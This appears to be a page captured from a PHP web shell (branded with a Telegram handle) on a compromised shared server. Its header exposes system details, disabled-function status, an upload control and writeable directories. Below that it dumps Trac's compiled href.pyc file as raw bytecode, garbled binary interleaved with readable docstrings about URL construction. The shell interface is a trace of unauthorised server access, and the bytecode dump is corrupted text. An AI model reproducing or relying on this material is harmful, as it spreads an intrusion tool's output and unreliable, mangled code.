https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/web/__pycache__/href.cpython-310.pyc
o

�k�`@�@snddlZddlmZddlmZmZe�d�ZGdd�de	�Z
edkr5ddlZddl
Z
e�e
je�dSdS)�N)�Context)�
unicode_quote�unicode_urlencodez/{2,}c@s\eZdZdZdZdZdZddd�Zdd�Zd	d
�Z	dd�Z
d
�ee
edd���Zdd�ZdS)�Hrefa�Implements a callable that constructs URLs with the given base. The
    function can be called with any number of positional and keyword
    arguments which then are used to assemble the URL.

    Positional arguments are appended as individual segments to
    the path of the URL:

    >>> href = Href('/trac')
    >>> repr(href)
    "<Href '/trac'>"
    >>> href('ticket', 540)
    '/trac/ticket/540'
    >>> href('ticket', 540, 'attachment', 'bugfix.patch')
    '/trac/ticket/540/attachment/bugfix.patch'
    >>> href('ticket', '540/attachment/bugfix.patch')
    '/trac/ticket/540/attachment/bugfix.patch'

    If a positional parameter evaluates to None, it will be skipped:

    >>> href('ticket', 540, 'attachment', None)
    '/trac/ticket/540/attachment'

    The first path segment can also be specified by calling an attribute
    of the instance, as follows:

    >>> href.ticket(540)
    '/trac/ticket/540'
    >>> href.changeset(42, format='diff')
    '/trac/changeset/42?format=diff'

    Simply calling the Href object with no arguments will return the base URL:

    >>> href()
    '/trac'

    Keyword arguments are added to the query string, unless the value is None:

    >>> href = Href('/trac')
    >>> href('timeline', format='rss')
    '/trac/timeline?format=rss'
    >>> href('timeline', format=None)
    '/trac/timeline'
    >>> href('search', q='foo bar')
    '/trac/search?q=foo+bar'

    Multiple values for one parameter are specified using a sequence (a list or
    tuple) for the parameter:

    >>> href('timeline', show=['ticket', 'wiki', 'changeset'])
    '/trac/timeline?show=ticket&show=wiki&show=changeset'

    Alternatively, query string parameters can be added by passing a dict or
    list as last positional argument:

    >>> href('timeline', {'from': '02/24/05', 'daysback': 30})
    '/trac/timeline?daysback=30&from=02%2F24%2F05'
    >>> href('timeline', {})
    '/trac/timeline'
    >>> href('timeline', [('from', '02/24/05')])
    '/trac/timeline?from=02%2F24%2F05'
    >>> href('timeline', ()) == href('timeline', []) == href('timeline', {})
    True

    The usual way of quoting arguments that would otherwise be interpreted
    as Python keywords is supported too:

    >>> href('timeline', from_='02/24/05', daysback=30)
    '/trac/timeline?daysback=30&from=02%2F24%2F05'

    If the order of query string parameters should be preserved, you may also
    pass a sequence of (name, value) tuples as last positional argument:

    >>> href('query', (('group', 'component'), ('groupdesc', 1)))
    '/trac/query?group=component&groupdesc=1'

    >>> params = []
    >>> params.append(('group', 'component'))
    >>> params.append(('groupdesc', 1))
    >>> href('query', params)
    '/trac/query?group=component&groupdesc=1'

    By specifying an absolute base, the function returned will also generate
    absolute URLs:

    >>> href = Href('https://trac.edgewall.org')
    >>> href('ticket', 540)
    'https://trac.edgewall.org/ticket/540'

    >>> href = Href('https://trac.edgewall.org')
    >>> href('ticket', 540)
    'https://trac.edgewall.org/ticket/540'

    In common usage, it may improve readability to use the function-calling
    ability for the first component of the URL as mentioned earlier:

    >>> href = Href('/trac')
    >>> href.ticket(540)
    '/trac/ticket/540'
    >>> href.browser('/trunk/README.txt', format='txt')
    '/trac/browser/trunk/README.txt?format=txt'

    The ``path_safe`` argument specifies the characters that don't
    need to be quoted in the path arguments. Likewise, the
    ``query_safe`` argument specifies the characters that don't need
    to be quoted in the query string:

    >>> href = Href('')
    >>> href.milestone('<look,here>', param='<here,too>')
    '/milestone/%3Clook%2Chere%3E?param=%3Chere%2Ctoo%3E'

    >>> href = Href('', path_safe='/<,', query_safe=',>')
    >>> href.milestone('<look,here>', param='<here,too>')
    '/milestone/<look,here%3E?param=%3Chere,too>'
    r�/!~*'()�!~*'()cCs"|�d�|_||_||_i|_dS�N�/)�rstrip�base�	path_safe�
query_safe�_derived)�selfrrr
�r�//usr/lib/python3/dist-packages/trac/web/href.py�__init__�s
z
Href.__init__cCsd|jj|jfS)Nz<%s %r>)�	__class__�__name__r�rrrr�__repr__�sz
Href.__repr__c	sL�j}g��fdd�}|rt|dt�r|dd�}|rY|d}t|t�r@t|��dd�d�D]	\}}|||�q/|dd�}nt|ttf�rY|D]	\}}|||�qI|dd�}d	��fd
d�|D��}|ru|d	t	�
d	|��d	�7}n|syd	}t|��dd�d�D]\}}||�d
�r�|dd�n||�q��r�|dt
��j�7}|S)NcsRt|ttf�rdd�|D�D]	}��||f�qdS|dur'��||f�dSdS)NcSsg|]}|dur|�qS�Nr)�.0�irrr�
<listcomp>�sz4Href.__call__.<locals>.add_param.<locals>.<listcomp>)�
isinstance�list�tuple�append)�name�valuer)�paramsrr�	add_param�s��z Href.__call__.<locals>.add_paramr����cS�|dS�Nrr�rrrr�<lambda>��zHref.__call__.<locals>.<lambda>)�keyr	c3s.�|]}|durtt|��d��j�VqdSr)r�str�stripr)r�argrrr�	<genexpr>�s�
��z Href.__call__.<locals>.<genexpr>cSr%r&rr'rrrr(�r)�_�?)rr�
Jinja2Context�dict�sorted�itemsrr�join�
slashes_re�sub�lstrip�endswithrr
)	r�args�kw�hrefr"�lastp�k�v�pathr)r!rr�__call__�s6	
�"z
Href.__call__cs(��jvr��fdd��j�<�j�S)Ncs��g|�Ri|��Srr)r:r;�rrrrr(�sz"Href.__getattr__.<locals>.<lambda>)r)rrrrBr�__getattr__�s

zHref.__getattr__��!�cCsR|s|jpdS|�d�r|jpdt||j�S|�d�s d|}|jt||j�S)Nr	r0)r�
startswithr�_printable_safe)r�rhsrrr�__add__�s


�
zHref.__add__N)rr)r�
__module__�__qualname__�__doc__�contextfunction�evalcontextfunction�environmentfunctionrrrArCr5�map�chr�rangerHrJrrrrrst
*r�__main__)�re�jinja2.runtimerr1�trac.util.textrr�compiler6�objectrr�doctest�sys�testmod�modulesrrrr�<module>s
?�

https://t.me/RX1948 - 2025